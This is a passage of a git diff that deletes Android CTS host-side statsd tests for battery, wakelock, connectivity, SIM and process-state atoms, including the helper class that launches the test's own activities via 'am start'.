-                Arrays.asList(BatterySaverModeStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(batterySaverOn, batterySaverOff);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        turnBatterySaverOn();
-        Thread.sleep(WAIT_TIME_LONG);
-        turnBatterySaverOff();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                atom -> atom.getBatterySaverModeStateChanged().getState().getNumber());
-    }
-
-    @RestrictedBuildTest
-    public void testRemainingBatteryCapacity() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour())
-                .isGreaterThan(0);
-        }
-    }
-
-    @RestrictedBuildTest
-    public void testFullBatteryCapacity() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour()).isGreaterThan(0);
-        }
-    }
-
-    public void testBatteryVoltage() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getBatteryVoltage().hasVoltageMillivolt()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getBatteryVoltage().getVoltageMillivolt()).isGreaterThan(0);
-        }
-    }
-
-    // This test is for the pulled battery level atom.
-    public void testBatteryLevel() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getBatteryLevel().hasBatteryLevel()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getBatteryLevel().getBatteryLevel()).isIn(Range.openClosed(0, 100));
-        }
-    }
-
-    // This test is for the pulled battery charge count atom.
-    public void testBatteryCycleCount() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        Atom atom = data.get(0);
-        assertThat(atom.getBatteryCycleCount().hasCycleCount()).isTrue();
-        if (hasBattery()) {
-            assertThat(atom.getBatteryCycleCount().getCycleCount()).isAtLeast(0);
-        }
-    }
-
-    public void testKernelWakelock() throws Exception {
-        if (!kernelWakelockStatsExist()) {
-            return;
-        }
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-
-        assertThat(data).isNotEmpty();
-        for (Atom atom : data) {
-            assertThat(atom.getKernelWakelock().hasName()).isTrue();
-            assertThat(atom.getKernelWakelock().hasCount()).isTrue();
-            assertThat(atom.getKernelWakelock().hasVersion()).isTrue();
-            assertThat(atom.getKernelWakelock().getVersion()).isGreaterThan(0);
-            assertThat(atom.getKernelWakelock().hasTimeMicros()).isTrue();
-        }
-    }
-
-    // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
-    private boolean kernelWakelockStatsExist() {
-      try {
-        return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
-      } catch(Exception e) {
-        return false;
-      }
-    }
-
-    public void testWifiActivityInfo() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> dataList = getGaugeMetricDataList();
-
-        for (Atom atom: dataList) {
-            assertThat(atom.getWifiActivityInfo().getTimestampMillis()).isGreaterThan(0L);
-            assertThat(atom.getWifiActivityInfo().getStackState()).isAtLeast(0);
-            assertThat(atom.getWifiActivityInfo().getControllerIdleTimeMillis()).isGreaterThan(0L);
-            assertThat(atom.getWifiActivityInfo().getControllerTxTimeMillis()).isAtLeast(0L);
-            assertThat(atom.getWifiActivityInfo().getControllerRxTimeMillis()).isAtLeast(0L);
-            assertThat(atom.getWifiActivityInfo().getControllerEnergyUsed()).isAtLeast(0L);
-        }
-    }
-
-    public void testBuildInformation() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-        assertThat(data).isNotEmpty();
-        BuildInformation atom = data.get(0).getBuildInformation();
-        assertThat(getProperty("ro.product.brand")).isEqualTo(atom.getBrand());
-        assertThat(getProperty("ro.product.name")).isEqualTo(atom.getProduct());
-        assertThat(getProperty("ro.product.device")).isEqualTo(atom.getDevice());
-        assertThat(getProperty("ro.build.version.release_or_codename")).isEqualTo(atom.getVersionRelease());
-        assertThat(getProperty("ro.build.id")).isEqualTo(atom.getId());
-        assertThat(getProperty("ro.build.version.incremental"))
-            .isEqualTo(atom.getVersionIncremental());
-        assertThat(getProperty("ro.build.type")).isEqualTo(atom.getType());
-        assertThat(getProperty("ro.build.tags")).isEqualTo(atom.getTags());
-    }
-
-    public void testOnDevicePowerMeasurement() throws Exception {
-        if (!OPTIONAL_TESTS_ENABLED) return;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> dataList = getGaugeMetricDataList();
-
-        for (Atom atom: dataList) {
-            assertThat(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis())
-                .isAtLeast(0L);
-            assertThat(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs()).isAtLeast(0L);
-        }
-    }
-
-    // Explicitly tests if the adb command to log a breadcrumb is working.
-    public void testBreadcrumbAdb() throws Exception {
-        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertThat(atom.getLabel()).isEqualTo(1);
-        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
-    }
-
-    // Test dumpsys stats --proto.
-    public void testDumpsysStats() throws Exception {
-        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Get the stats incident section.
-        List<ConfigMetricsReportList> listList = getReportsFromStatsDataDumpProto();
-        assertThat(listList).isNotEmpty();
-
-        // Extract the relevent report from the incident section.
-        ConfigMetricsReportList ourList = null;
-        int hostUid = getHostUid();
-        for (ConfigMetricsReportList list : listList) {
-            ConfigMetricsReportList.ConfigKey configKey = list.getConfigKey();
-            if (configKey.getUid() == hostUid && configKey.getId() == CONFIG_ID) {
-                ourList = list;
-                break;
-            }
-        }
-        assertWithMessage(String.format("Could not find list for uid=%d id=%d", hostUid, CONFIG_ID))
-            .that(ourList).isNotNull();
-
-        // Make sure that the report is correct.
-        List<EventMetricData> data = getEventMetricDataList(ourList);
-        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertThat(atom.getLabel()).isEqualTo(1);
-        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
-    }
-
-    public void testConnectivityStateChange() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-
-        final int atomTag = Atom.CONNECTIVITY_STATE_CHANGED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        turnOnAirplaneMode();
-        // wait long enough for airplane mode events to propagate.
-        Thread.sleep(1_200);
-        turnOffAirplaneMode();
-        // wait long enough for the device to restore connection
-        Thread.sleep(13_000);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // at least 1 disconnect and 1 connect
-        assertThat(data.size()).isAtLeast(2);
-        boolean foundDisconnectEvent = false;
-        boolean foundConnectEvent = false;
-        for (EventMetricData d : data) {
-            ConnectivityStateChanged atom = d.getAtom().getConnectivityStateChanged();
-            if(atom.getState().getNumber()
-                    == ConnectivityStateChanged.State.DISCONNECTED_VALUE) {
-                foundDisconnectEvent = true;
-            }
-            if(atom.getState().getNumber()
-                    == ConnectivityStateChanged.State.CONNECTED_VALUE) {
-                foundConnectEvent = true;
-            }
-        }
-        assertThat(foundConnectEvent).isTrue();
-        assertThat(foundDisconnectEvent).isTrue();
-    }
-
-    public void testSimSlotState() throws Exception {
-        if (!hasFeature(FEATURE_TELEPHONY, true)) {
-            return;
-        }
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.SIM_SLOT_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-        assertThat(data).isNotEmpty();
-        SimSlotState atom = data.get(0).getSimSlotState();
-        // NOTE: it is possible for devices with telephony support to have no SIM at all
-        assertThat(atom.getActiveSlotCount()).isEqualTo(getActiveSimSlotCount());
-        assertThat(atom.getSimCount()).isAtMost(getActiveSimCountUpperBound());
-        assertThat(atom.getEsimCount()).isAtMost(getActiveEsimCountUpperBound());
-        // Above assertions do no necessarily enforce the following, since some are upper bounds
-        assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
-        assertThat(atom.getSimCount()).isAtLeast(atom.getEsimCount());
-        assertThat(atom.getEsimCount()).isAtLeast(0);
-        // For GSM phones, at least one slot should be active even if there is no card
-        if (hasGsmPhone()) {
-            assertThat(atom.getActiveSlotCount()).isAtLeast(1);
-        }
-    }
-
-    public void testSupportedRadioAccessFamily() throws Exception {
-        if (!hasFeature(FEATURE_TELEPHONY, true)) {
-            return;
-        }
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.SUPPORTED_RADIO_ACCESS_FAMILY_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> data = getGaugeMetricDataList();
-        assertThat(data).isNotEmpty();
-        SupportedRadioAccessFamily atom = data.get(0).getSupportedRadioAccessFamily();
-        if (hasGsmPhone()) {
-            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_GSM_ALL)
-                    .isNotEqualTo(0L);
-        }
-        if (hasCdmaPhone()) {
-            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_CDMA_ALL)
-                    .isNotEqualTo(0L);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
deleted file mode 100644
index 230a516..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Statsd atom tests that are done via app, for atoms that report a uid.
- */
-public class ProcStateAtomTests extends ProcStateTestCase {
-
-    private static final String TAG = "Statsd.ProcStateAtomTests";
-
-    private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
-    // ActivityManager can take a while to register screen state changes, mandating an extra delay.
-    private static final int WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS = 1_000;
-    private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when proc state changing.
-    private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
-
-    private static final String FEATURE_WATCH = "android.hardware.type.watch";
-
-    // The tests here are using the BatteryStats definition of 'background'.
-    private static final Set<Integer> BG_STATES = new HashSet<>(
-            Arrays.asList(
-                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_BACKGROUND_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_TRANSIENT_BACKGROUND_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_BACKUP_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_SERVICE_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_RECEIVER_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_HEAVY_WEIGHT_VALUE
-            ));
-
-    // Using the BatteryStats definition of 'cached', which is why HOME (etc) are considered cached.
-    private static final Set<Integer> CACHED_STATES = new HashSet<>(
-            Arrays.asList(
-                    ProcessStateEnum.PROCESS_STATE_HOME_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_LAST_ACTIVITY_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_CLIENT_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_RECENT_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_CACHED_EMPTY_VALUE
-            ));
-
-    private static final Set<Integer> MISC_STATES = new HashSet<>(
-            Arrays.asList(
-                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_UI_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_TOP_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_BOUND_TOP_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_BOUND_FOREGROUND_SERVICE_VALUE, // TODO: untested
-                    ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE,
-
-                    ProcessStateEnum.PROCESS_STATE_UNKNOWN_VALUE,
-                    ProcessStateEnum.PROCESS_STATE_NONEXISTENT_VALUE
-            ));
-
-    private static final Set<Integer> ALL_STATES = Stream.of(MISC_STATES, CACHED_STATES, BG_STATES)
-            .flatMap(s -> s.stream()).collect(Collectors.toSet());
-
-    private static final Function<Atom, Integer> PROC_STATE_FUNCTION =
-            atom -> atom.getUidProcessStateChanged().getState().getNumber();
-
-    private static final int PROC_STATE_ATOM_TAG = Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testForegroundService() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        executeForegroundService();
-        final int waitTime = SLEEP_OF_FOREGROUND_SERVICE;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
-    }
-
-    public void testForeground() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
-        // There are no offStates, since the app remains in foreground until killed.
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS);
-
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
-    }
-
-    public void testBackground() throws Exception {
-        Set<Integer> onStates = BG_STATES;
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        final int waitTime = SLEEP_OF_ACTION_BACKGROUND_SLEEP;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
-    }
-
-    public void testTop() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS);
-
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
-    }
-
-    public void testTopSleeping() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  //False: does not use attribution.
-
-        turnScreenOn();
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS);
-
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        // ASAP, turn off the screen to make proc state -> top_sleeping.
-        turnScreenOff();
-        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, new HashSet<>(Arrays.asList(ProcessStateEnum.PROCESS_STATE_TOP_VALUE)),
-                PROC_STATE_FUNCTION); // clear out anything prior to it entering TOP.
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out TOP itself.
-        // reset screen back on
-        turnScreenOn();
-        // Don't check the wait time, since it's up to the system how long top sleeping persists.
-        assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
-    }
-
-    public void testCached() throws Exception {
-        Set<Integer> onStates = CACHED_STATES;
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: des not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        // The schedule is as follows
-        // #1. The system may do anything it wants, such as moving the app into a cache state.
-        // #2. We move the app into the background.
-        // #3. The background process ends, so the app definitely moves to a cache state
-        //          (this is the ultimate goal of the test).
-        // #4. We start a foreground activity, moving the app out of cache.
-
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // Now forcibly bring the app out of cache (#4 above).
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        // Now check the data *before* the app enters cache again (to avoid another cache event).
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // First, clear out any incidental cached states of step #1, prior to step #2.
-        popUntilFind(data, BG_STATES, PROC_STATE_FUNCTION);
-        // Now clear out the bg state from step #2 (since we are interested in the cache after it).
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION);
-        // The result is that data should start at step #3, definitively in a cached state.
-        assertStatesOccurred(stateSet, data, 1_000, PROC_STATE_FUNCTION);
-    }
-
-    public void testValidityOfStates() throws Exception {
-        assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
-            .that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
-    }
-
-    /** Returns the a set containing elements of a that are not elements of b. */
-    private Set<Integer> difference(Set<Integer> a, Set<Integer> b) {
-        Set<Integer> result = new HashSet<Integer>(a);
-        result.removeAll(b);
-        return result;
-    }
-
-    /** Returns the set of all states that are not in set. */
-    private Set<Integer> complement(Set<Integer> set) {
-        return difference(ALL_STATES, set);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
deleted file mode 100644
index 2fa4233..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Base class for manipulating process states
- */
-public class ProcStateTestCase extends DeviceAtomTestCase {
-
-  private static final String TAG = "Statsd.ProcStateTestCase";
-
-  private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
-          = "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity";
-  private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
-          = "com.android.server.cts.device.statsd/.StatsdCtsForegroundService";
-
-  // Constants from the device-side tests (not directly accessible here).
-  public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-  public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
-  public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
-  public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
-  public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
-  // Sleep times (ms) that actions invoke device-side.
-  public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
-  public static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
-  public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-  public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-
-  /**
-   * Runs an activity (in the foreground) to perform the given action.
-   * @param actionValue the action code constants indicating the desired action to perform.
-   */
-  protected void executeForegroundActivity(String actionValue) throws Exception {
-    getDevice().executeShellCommand(String.format(
-            "am start -n '%s' -e %s %s",
-            DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
-            KEY_ACTION, actionValue));
-  }
-
-  /**
-   * Runs a simple foreground service.
-   */
-  protected void executeForegroundService() throws Exception {
-    executeForegroundActivity(ACTION_END_IMMEDIATELY);
-    getDevice().executeShellCommand(String.format(
-            "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
-  }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
deleted file mode 100644
index 1892f85..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ /dev/null
@@ -1,2223 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
